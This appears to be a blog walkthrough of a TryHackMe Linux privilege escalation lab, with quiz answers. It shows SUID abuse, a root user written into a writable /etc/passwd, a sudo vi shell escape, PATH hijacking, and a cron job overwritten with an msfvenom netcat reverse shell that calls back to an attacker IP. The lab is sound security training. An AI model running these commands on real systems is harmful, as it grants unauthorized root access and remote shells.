Hi! It is time to look at the Common Linux Privilege Escalation room on TryHackMe.
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Room URL: https://tryhackme.com/room/commonlinuxprivesc
Task 1 (Get connected)
Nothing to do or read here but just starting up the target machine and your AttackBox or Kali Linux machine 🙂
Questions
Deploy the machine
Answer: No answer needed
Task 2 (Understanding Privesc)
Privilege escelation is the process of going from lower permissions to higher permission. This is done by exploiting vulnerabilities, design flaws or misconfigurations in applications. This process is important, as we rarely gain immediate administrator access when gaining a foothold. When we get administrator access some of the things we can do:
- Reset passwords
- Bypass access controls to compromise protected data
- Edit software configurations
- Enable persistence, so you can access the machine again later.
- Change privilege of users
- Get that cheeky root flag 😉
Questions
Read the information about privilege escalation
Answer: No answer needed
Task 3 (Direction of Privilege Escalation)
There are two main types of privilege escalation:
- Horizontal privilege escalation: This means you take over a user account which has the same privileges as you. An example of this is a normal user hijacking another normal user. This can be useful to inherit any files and access the other user has. This can for example be used to gain access to an SUID file which can afterwards be used to gain super user access.
- Vertical privilege escalation (privilege elevation): This means you take over a user account with higher privileges or access than you, from a existing account. For local privilege escalation attacks this might mean hijacking an account with administrator privileges or root privileges.
Questions
Understand the difference between Horizontal and Vertical privilege escalation.
Answer: No answer needed
Task 4 (Enumeration)
We can use LinEnum (a simple shell script) to enumerate information concerning privilege escalation. It makes our life a lot easier, but of course it is important to understand what commands LinEnum executes, so that you are able to manually enumerate privesc vulnerabilities in a situation where you’re unable to use LinEnum or other like scripts. In this room, we will explain what LinEnum outputs, and how it works behind the scenes
You can download a local copy of LinEnum from:
How to get LinEnum on the target machine?
There are two ways to get LinEnum on the target machine.
- The first way, is to go to the directory that you have your local copy of LinEnum stored in, and start a Python web server using python3 -m http.server 8000. Then use wget on the target machine. Finally, make the file executable using the command chmod +x FILENAME.sh.
- If you do not have the right amount of permissions to download the code to the target machine you can instead do the following. First you copy the raw LinEnum code from your local machine and paste it into a new file on the target. You can then save the file with the .sh extension. Then make the file executable using the command chmod +x FILENAME.sh.
LinEnum can then be run just like any bash script:
./LinEnum.sh
Understanding LinEnum Output
The LinEnum output is broken down into different sections:
- Kernel Kernel information is shown here. The kernel is a core component of an operating system and serves as the main interface between the computer’s physical hardware and the processes running on it. There is most likely a kernel exploit available for this machine.
- Can we read/write sensitive files: The world-writable files are shown below. These are the files that any authenticated user can read and write to. By looking at the permissions of these sensitive files, we can see where there is misconfiguration that allows users who shouldn’t usually be able to, to be able to write to sensitive files.
- SUID Files: SUID (Set owner User ID up on execution) is a special type of file permissions given to a file. It allows the file to run with permissions of whoever the owner is. If this is root, it runs with root permissions. It can allow us to escalate privileges.
- Crontab Contents: Cron is used to schedule commands at a specific time. These scheduled commands or tasks are known as “cron jobs”. Related to this is the crontab command which creates a crontab file containing commands and instructions for the cron daemon to execute. There is certainly enough information to warrant attempting to exploit Cronjobs here in this room.
Questions
First, lets SSH into the target machine, using the credentials user3:password. This is to simulate getting a foothold on the system as a normal privilege user.
Just enter the following:
ssh user3@<ip>
Answer: No answer needed
What is the target’s hostname?
This is simple enough. If you logged on you will see it right after the user.
Answer: polobox
Look at the output of /etc/passwd how many “user[x]” are there on the system?
Now it is time to get LinEnum running. Follow the following steps:
- Download LinEnum to your attacker machine here: https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
- Host the file by entering:
python3 -m http.server 8000 - Download the file from the SSH shell like so:
wget <attacker ip>:8000/LinEnum.sh - Edit the permissions:
chmod +x LinEnum.sh - Run it: ./LinEnum.sh
Let it run and you will see a bunch of results. At some point there will come information about the passwd file.
Answer: 8
How many available shells are there on the system?
Somewhere in all the output there is the following info:
Answer: 4
What is the name of the bash script that is set to run every 5 minutes by cron?
Scroll down more to find the crontab info:
Answer: autoscript.sh
What critical file has had its permissions changed to allow some users to write to it?
Scroll down a lot more and you will find the answer:
You can see that the passwd file has “-rw-rw-r — “ meaning there are write permission for the root group.
Answer: /etc/passwd
Well done! Bear the results of the enumeration stage in mind as we continue to exploit the system!
Answer: No answer needed
Task 5 (Abusing SUID/GUID Files)
The first step in Linux privilege escalation exploitation is to check for files with the SUID/GUID bit set. This means that the file or files can be run with the permissions of the file(s) owner/group. In this case, as the super-user. We can leverage this to get a shell with these privileges!
What is an SUID binary?
Everything in Linux is a file, including directories and devices, which have permissions to allow or restrict three operations i.e. read/write/execute. When we look at how maximum privileges (rwx-rwx-rwx) look you should understand the following.
The nine characters represent the settings for the three sets of permissions.
- The first three characters show the permissions for the user who owns the file (user permissions).
- The middle three characters show the permissions for members of the file’s group (group permissions).
- The last three characters show the permissions for anyone not in the first two categories (other permissions).
Each three of these parts consist of a combination of the following characters:
- r: Read permissions. The file can be opened, and its content viewed.
- w: Write permissions. The file can be edited, modified, and deleted.
- x: Execute permissions. If the file is a script or a program, it can be run (executed).
The maximum number of bit that can be used to set permissions for each user is 7, which is a combination of read (4) write (2) and execute (1) operation.
The following table explains it more clearly:
For example, if you set permissions using “chmod” as 755, then it will be: rwx r-x r-x.
But when special permission is given to each user it becomes SUID or SGID. When extra bit “4” is set to user(Owner) it becomes SUID (Set user ID) and when bit “2” is set to group it becomes SGID (Set Group ID).
Therefore, the permissions to look for when looking for SUID is:
SUID: rws-rwx-rwx
GUID: rwx-rws-rwx
The SUID and GUID access flags are often used to allow users on a computer system to run programs with temporarily elevated privileges in order to perform a specific task.
Finding SUID Binaries
We already know that there is SUID capable files on the system, thanks to our LinEnum scan. However, we can do this manually:
find / -perm -u=s -type f 2>/dev/null
to search the file system for SUID/GUID files. Let’s break down this command:
- find — Initiates the “find” command
- / — Searches the whole file system
- -perm — searches for files with specific permissions
- -u=s — Any of the permission bits mode are set for the file. Symbolic modes are accepted in this form.
- -type f — Only search for files
- 2>/dev/null — Suppresses errors
Questions
What is the path of the file in user3’s directory that stands out to you?
If we write ls -la we can see that the shell file has a special permission bit (rws)
Answer: /home/user3/shell
We know that “shell” is an SUID bit file, therefore running it will run the script as a root user! Lets run it!
We can do this by running: “./shell”
Answer: No answer needed
Congratulations! You should now have a shell as root user, well done!
We got root access!
Answer: No answer needed
Task 6 (Exploiting Writeable /etc/passwd)
We found out during the enumeration with LinEnum that the /etc/passwd file is writable for the root group with gid 0. If you looked carefully at the results you could also have been that user7 is a member of this root group. Thus, user7 should be able to edit the passwd file.
Understanding /etc/passwd
The /etc/passwd store user account information, and is stored as a plain text file. It contains a list of the system’s accounts, and shows for each account information like user ID, group ID, home directory, shell, and more.
The /etc/passwd file should have general read permission as many command utilities use it to map user IDs to user names. However, write access to the /etc/passwd should only exist for the superuser/root account. If other users has write access this is a vulnerability.
Understanding /etc/passwd format
As mentioned before, the /etc/passwd file contains a list of accounts of the system. There are multiple (7) fields, which are seperated by a colon (:). An example of a list element is like so:
test:x:0:0:root:/root:/bin/bash
The different fields mean the following:
- Username: It is used when user logs in. It should be between 1 and 32 characters in length.
- Password: An x character indicates that encrypted password is stored in /etc/shadow file.
- User ID (UID): Each user must be assigned a user ID (UID). UID 0 (zero) is reserved for root and UIDs 1–99 are reserved for other predefined accounts. Further UID 100–999 are reserved by system for administrative and system accounts/groups. UIDs above 1000 are regular users.
- Group ID (GID): The primary group ID (stored in /etc/group file)
- User ID Info: The comment field. It allow you to add extra information about the users such as user’s full name, phone number etc.
- Home directory: The absolute path to the directory the user will be in when they log in.
- Command/shell: The absolute path of a command or shell (/bin/bash). Typically, this is a shell. Please note that it does not have to be a shell.
How to exploit a writable /etc/passwd
If we can edit the /etc/passwd file, we can add a new line to the file, and thus create a new user. We can set the UID, GID and shell so that we get our very own root user.
Questions
First, let’s exit out of root from our previous task by typing “exit”. Then use “su” to swap to user7, with the password “password”.
Simply change to user7 🙂
Answer: No answer needed
Having read the information above, what direction privilege escalation is this attack?
We want to add a user in the passwd with root access, so this is a vertical privilege escalation.
Answer: vertical
Before we add our new user, we first need to create a compliant password hash to add! We do this by using the command: “openssl passwd -1 -salt [salt] [password]”. What is the hash created by using this command with the salt, “new” and the password “123”?
Simply enter the following command:
openssl passwd -1 -salt new 123
Answer: $1$new$p7ptkEKU1HnaHpRtzNizS1
Great! Now we need to take this value, and create a new root user account. What would the /etc/passwd entry look like for a root user with the username “new” and the password hash we created before?
Read the /etc/passwd/ to see the formatting. The order is like this:
Username: Password: User ID: Group ID :User ID Info: Home directory: Command/shell.
Answer: new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
Great! Now you’ve got everything you need. Just add that entry to the end of the /etc/passwd file!
Add the line and save the file!
Answer: No answer needed
Now, use “su” to login as the “new” account, and then enter the password. If you’ve done everything correctly- you should be greeted by a root prompt! Congratulations!
Enter su new, followed by entering the password (123).
We got root access!
Answer: No answer needed
Task 7 (Sudo -l and Escaping Vi Editor)
Every time you have access to an account during a CTF scenario, you should use sudo -l to list what commands you’re able to use as a super user on that account. Sometimes, like this, you’ll find that you’re able to run certain commands as a root user without the root password. This can enable you to escalate privileges.
Escaping Vi
If we run the above command on the target machine as user8, we can see that we can run Vi with root privileges. This will allow us to escape vim in order to escalate privileges and get a shell as the root user!
Misconfigured Binaries and GTFOBins
If you find a misconfigured binary during your enumeration, or when you check what binaries a user account you have access to can access, a good place to look up how to exploit them is GTFOBins. GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. It provides a really useful breakdown of how to exploit a misconfigured binary and is the first place you should look if you find one on a CTF or Pentest.
Questions
First, let’s exit out of root from our previous task by typing “exit”. Then use “su” to swap to user8, with the password “password”.
Change to user8 with su user8.
Answer: No answer needed
Let’s use the “sudo -l” command, what does this user require (or not require) to run vi as root?
Run the sudo -l command.
Running /usr/bin/vi requires NOPASSWD.
Answer: NOPASSWD
So, all we need to do is open vi as root, by typing “sudo vi” into the terminal.
Answer: No answer needed
Now, type “:!sh” to open a shell!
Simply enter :!sh in Vi. This will get you in a shell with root privileges!
Answer: No answer needed
Task 8 (Exploiting Crontab)
The Cron daemon is a process that executes commands at specific dates and times, in some ways similarly to Task Scheduler on Windows. You can use it to schedule tasks repeating at specific times, or just once. A crontab file contains the commands and instructions for the Cron daemon to execute. You can read this file (cat /etc/crontab) to see the scheduled tasks. It is always a good idea to have a look at it.
Format of a Cronjob
Cronjobs exist in a certain format:
# = ID
m = Minute
h = Hour
dom = Day of the month
mon = Month
dow = Day of the week
user = What user the command will run as
command = What command should be run
We can look at the following command as example:
# m h dom mon dow user command
17 * 1 * * * root cd / && run-parts — report /etc/cron.hourly
If you need help understanding the time part of the file, have a look here:
How can we exploit this?
You might remember from the LinEnum scan that the autoscript.sh file on user4’s Desktop is scheduled to run every five minutes. That file is owned by root, meaning that it will run with root privileges, despite the fact that we can write to this file. The task then is to create a command that will return a shell and paste it in this file. When the file runs again in five minutes the shell will be running as root.
Questions
First, let’s exit out of root from our previous task by typing “exit”. Then use “su” to swap to user4, with the password “password”
Switch the user to user4 by entering: su user4.
Answer: No answer needed
Now, on our host machine- let’s create a payload for our cron exploit using msfvenom.
Answer: No answer needed
What is the flag to specify a payload in msfvenom?
The -p flag is used to specify a payload.
Answer: -p
Create a payload using: “msfvenom -p cmd/unix/reverse_netcat lhost=LOCALIP lport=8888 R”
Use the above command to create a payload, after adding in your attacker machine ip.
Answer: No answer needed
What directory is the “autoscript.sh” under?
We can find out by reading the crontab file. Enter: cat /etc/crontab
Alternatively you could have entered: find / -name autoscript.sh
Answer: /home/user4/Desktop
Lets replace the contents of the file with our payload using: “echo [MSFVENOM OUTPUT] > autoscript.sh”
Enter something similar the following command (your ip will differ):
echo ‘mkfifo /tmp/mcex; nc 10.10.39.52 8888 0</tmp/mcex | /bin/sh >/tmp/mcex 2>&1; rm /tmp/mcex’ > /home/user4/Desktop/autoscript.sh
Answer: No answer needed
After copying the code into autoscript.sh file we wait for cron to execute the file, and start our netcat listener using: “nc -lvnp 8888” and wait for our shell to land!
Now start up our netcat listener on your attacker machine using: nc -lvnp 8888. You have to wait max five minutes!
Answer: No answer needed
After about 5 minutes, you should have a shell as root land in your netcat listening session! Congratulations!
We got access! 🙂
Answer: No answer needed
Task 9 (Exploiting PATH Variable)
PATH is an environmental variable in Linux and Unix-like operating systems which specifies directories that hold executable programs. When the user runs any command in the terminal, it searches for executable files with the help of the PATH Variable in response to commands executed by a user. It is very simple to view the Path of the relevant user with help of the command echo $PATH.
How does this let us escalate privileges?
Let’s say we have an SUID binary. Running it, we can see that it’s calling the system shell to do a basic process like list processes with ps.
Note: It is important to understand that ps, ls and other are just programs lying in the /bin directory.
Unlike in our previous SUID example, in this situation we can’t exploit it by supplying an argument for command injection, so what can we do to try and exploit this?
We can re-write the PATH variable to a location of our choosing! So when the SUID binary calls the system shell to run an executable, it runs one that we’ve written instead! As with any SUID file, it will run this command with the same privileges as the owner of the SUID file! If this is root, using this method we can run whatever commands we like as root!
Questions
Going back to our local ssh session, not the netcat root session, you can close that now, let’s exit out of root from our previous task by typing “exit”. Then use “su” to swap to user5, with the password “password”
Switch to user5 🙂
Answer: No answer needed
Let’s go to user5’s home directory, and run the file “script”. What command do we think that it’s executing?
Change directory to users5’s home directory: su /home/user5. Then run the script file by entering ./script.
It definitely looks like the script is listing our files and directories, so this points us to the command ls.
Answer: ls
Now we know what command to imitate, let’s change directory to “tmp”.
Simply write cd /tmp.
Answer: No answer needed
Now we’re inside tmp, let’s create an imitation executable. The format for what we want to do is: echo “[whatever command we want to run]” > [name of the executable we’re imitating]. What would the command look like to open a bash shell, writing to a file with the name of the executable we’re imitating
We need to replace the ls executable with the command to open a bash shell. We do this by echoing the path of the bash shell to a file called ls.
Answer: echo “/bin/bash” > ls
Great! Now we’ve made our imitation, we need to make it an executable. What command do we execute to do this?
We need to add the execute permission to the file. We do this by writing chmod +x ls.
Answer: chmod +x ls
Now, we need to change the PATH variable, so that it points to the directory where we have our imitation “ls” stored! We do this using the command “export PATH=/tmp:$PATH”
Note, this will cause you to open a bash prompt every time you use “ls”. If you need to use “ls” before you finish the exploit, use “/bin/ls” where the real “ls” executable is.
Once you’ve finished the exploit, you can exit out of root and use “export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:$PATH” to reset the PATH variable back to default, letting you use “ls” again!
Simply run: export PATH=/tmp:$PATH.
Answer: No answer needed
Now, change directory back to user5’s home directory.
Enter: cd /home/user5.
Answer: No answer needed
Now, run the “script” file again, you should be sent into a root bash prompt! Congratulations!
Run the script file by entering: ./script.
We now got a root bash prompt!
Note that we ran ls before, we ran it as our current user. Therefore it did not get us real root bash access. But when we ran it through the “script” script we actually we ran it with the privileges of the owner of the script file, due to it being having a SUID bit.
Answer: No answer needed
Task 10 (Expanding Your Knowledge)
Below is a list of good checklists to apply to CTF or penetration test use cases.
- https://github.com/netbiosX/Checklists/blob/master/Linux-Privilege-Escalation.md
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md
- https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html
- https://payatu.com/guide-linux-privilege-escalation
Questions
Well done, you did it!
Answer: No answer needed
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